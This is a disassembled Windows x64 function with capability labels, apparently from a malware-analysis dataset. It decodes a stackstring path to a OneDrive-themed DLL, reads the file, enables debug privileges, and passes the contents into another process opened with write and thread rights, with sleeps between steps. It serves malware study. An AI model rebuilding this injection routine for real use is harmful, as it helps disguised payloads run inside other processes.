Function at 0x180001820
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Get common file path
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2240]
mov eax, 0x2340
call fcn.180012020
sub rsp, rax
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rbp + 0x2230], rax
xor edi, edi
xorps xmm0, xmm0
mov ecx, 0x12c
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x40], edi
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov dword [rbp - 0x60], 0x5c003a
mov r8d, 0x208
mov dword [rbp - 0x5c], 0x720050
lea rcx, [rbp + 0x20]
mov dword [rbp - 0x58], 0x67006f
mov dword [rbp - 0x54], 0x610072
lea r13d, [rdi + 0x20]
mov dword [rbp - 0x50], 0x44006d
lea ebx, [rdi + 0x64]
mov dword [rbp - 0x4c], 0x740061
mov dword [rbp - 0x48], 0x5c0061
mov dword [rbp - 0x44], 0x69004d
mov dword [rbp - 0x40], 0x720063
mov dword [rbp - 0x3c], 0x73006f
mov dword [rbp - 0x38], 0x66006f
mov dword [rbp - 0x34], 0x200074
mov dword [rbp - 0x30], 0x6e004f
mov dword [rbp - 0x2c], 0x440065
mov dword [rbp - 0x28], 0x690072
mov dword [rbp - 0x24], 0x650076
mov dword [rbp - 0x20], 0x73005c
mov dword [rbp - 0x1c], 0x740065
mov dword [rbp - 0x18], 0x700075
mov dword [rbp - 0x14], 0x4f005c
mov dword [rbp - 0x10], 0x65006e
mov dword [rbp - 0xc], 0x720044
mov dword [rbp - 8], 0x760069
mov dword [rbp - 4], 0x550065
mov dword [rbp], 0x640070
mov dword [rbp + 4], 0x740061
mov dword [rbp + 8], 0x2e0065
mov dword [rbp + 0xc], 0x6c0064
mov dword [rbp + 0x10], 0x6c
call fcn.180003850
mov edx, 0x104
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor edx, edx
lea rcx, [rbp + 0x230]
mov r8d, 0x2000
call fcn.180003850
movzx r9d, word [rbp + 0x20]
lea r8, [0x18001fb6c]
mov edx, 0x1000
lea rcx, [rbp + 0x230]
call fcn.1800017c0
lea r8, [rbp - 0x60]
mov edx, 0x1000
lea rcx, [rbp + 0x230]
call fcn.180007050
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp - 0x7c]
mov dword [rbp - 0x80], 1
lea rdx, str.SeDebugPrivilege
mov dword [rbp - 0x74], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x180001a26
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, r13d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001a26
mov rcx, qword [rsp + 0x50]
lea r9d, [rdi + 0x10]
mov qword [rsp + 0x28], rdi
lea r8, [rbp - 0x80]
xor edx, edx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call fcn.1800011a0
mov qword [rsp + 0x30], rdi
lea rcx, [rbp + 0x230]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
movsd xmm1, qword [rax + 0x10]
mov edx, 0x80000000
movsd qword [rbp - 0x70], xmm1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp r14, 0xffffffffffffffff
je 0x180001bdf
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [rsi - 1]
cmp ecx, 0xfffffffd
ja 0x180001bdf
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180001bdf
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
mov r8d, esi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001bbd
mov ecx, 0x82
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001b59
lea r8, [rsp + 0x74]
mov dword [rsp + 0x70], 1
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x7c], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x180001b4e
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xbe
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp - 0x70]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rdi, rdi
je 0x180001bbd
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
call fcn.180001f70
test rax, rax
je 0x180001bbd
call qword [sym.imp.KERNEL32.dll_GetLastError]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180001bd6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
je 0x180001bdf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2230]
xor rcx, rsp
call fcn.180002080
lea r11, [rsp + 0x2340]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret